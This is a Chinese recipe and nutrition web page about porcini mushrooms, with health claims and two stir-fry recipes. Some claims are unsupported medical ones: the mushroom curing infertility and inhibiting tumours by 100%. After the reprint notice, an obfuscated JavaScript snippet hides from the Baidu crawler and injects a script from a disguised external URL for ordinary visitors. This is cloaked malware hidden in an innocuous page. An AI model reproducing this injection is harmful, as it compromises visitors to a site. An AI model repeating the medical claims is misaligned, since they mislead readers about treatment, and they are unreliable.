當(dāng)前位置:首頁 > 飲食 > 食物營養(yǎng) > 正文

牛肝菌的吃法 牛肝菌的功效

2016-06-12 14:28:30  來源:360常識網(wǎng)   熱度:
導(dǎo)語:白牛肝菌,又稱美味牛肝菌,生長于海拔九百米至二千二百米之間的松櫟混交林中,或砍伐不久的林緣地帶,生長期為每年五月底至十月中,雨后天晴時生長較多。

牛肝菌的吃法 牛肝菌的功效

牛肝菌的吃法 牛肝菌的功效

牛肝菌的功效

牛肝菌具有清熱解煩、養(yǎng)血和中、追風(fēng)散寒、舒筋和血、補虛提神等功效,是中成藥“舒筋丸”的原料之一;又是婦科良藥,可治婦女白帶癥及不孕癥。此外,其水提物對小白鼠肉瘤S-180的生長有阻抑作用,對肉瘤S-180的抑制率為100%,對艾氏腹水癌的抑制率為90%。同時還有抗流感病毒、防治感冒的作用。牛肝菌類是牛肝菌科和松塔牛肝菌科等真菌的統(tǒng)稱,其中除少數(shù)品種有毒或味苦而不能食用外,大部分品種均可食用。

云南省牛肝菌類資源豐富,有不少優(yōu)良的可食品種,主要有白、黃、黑牛肝菌。白牛肝菌,又稱美味牛肝菌,生長于海拔九百米至二千二百米之間的松櫟混交林中,或砍伐不久的林緣地帶,生長期為每年五月底至十月中,雨后天晴時生長較多,易于采收。白牛肝菌味道鮮美,營養(yǎng)豐富。云南省各族群眾喜愛采集鮮菌烹調(diào)食用。西歐各國也有廣泛食用白牛肝菌的習(xí)慣,除新鮮的作菜外,大部分切片干燥,加工成各種小包裝,用來配制湯料或做成醬油浸膏,也有制成鹽腌品食用。云南省從一九七三年起出口白牛肝菌,銷往西歐,極受歡迎,供不應(yīng)求。黃、黑牛肝菌與白牛肝菌同科,食用方法相同,味道亦近似。

干椒黃牛肝菌的做法

材料:鮮黃牛肝菌、花生油、鹽、味精、干辣椒、蒜;

做法:

1:黃牛肝菌洗凈,切成片;

2:將蒜去皮洗凈切成小片,干辣椒去蒂去籽切成長段;

3:鍋置火上,注入花生油燒至三成熱時,將蒜片與干辣椒段下鍋稍炸一下;

4:旺火熱油放入黃牛肝菌與蒜、辣椒爆炒,放入鹽、味精起鍋;

5:口感:清香滋潤,微辣、麻,菌香味醇厚。

燒牛肝菌的做法

工藝:燒口味,微辣;

主料:白牛肝菌(干)350克;

輔料:柿子椒30克,豬里脊肉60克,圓白菜50克,辣椒30克,雞蛋清10克;

調(diào)料:鹽7克,醬油15克,大蒜10克,胡椒粉1克,淀粉10克,味精2克,大蔥2克,姜2克,豬油45克;

做法:

1:牛肝菌去根部,洗凈,切成塊;

2:紅燈籠椒、青辣椒洗凈去籽,分別切成塊;

3:卷心菜放鹽水內(nèi)腌片刻后撈出切成小片;

4:里脊肉洗凈切片;

5:蒜、姜均切片,蔥切段;

6:豬脊肉片入碗,加雞蛋清、味精、胡椒粉、濕淀粉,拌勻上漿;

7:炒鍋置中火,注入豬油,燒熱,分別下肉片、牛肝菌塊滑透,倒入漏勺控油;

8:炒鍋留底油燒熱,下蒜片、姜片、蔥段煸香,下燈籠椒塊、表椒辣塊炒透,倒入牛肝菌塊、肉片、鹽、腌卷心菜和甜、咸醬油以及白糖、味精、胡椒粉、肉清湯燒,用濕淀粉勾芡,翻炒均勻,淋入香油即成。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}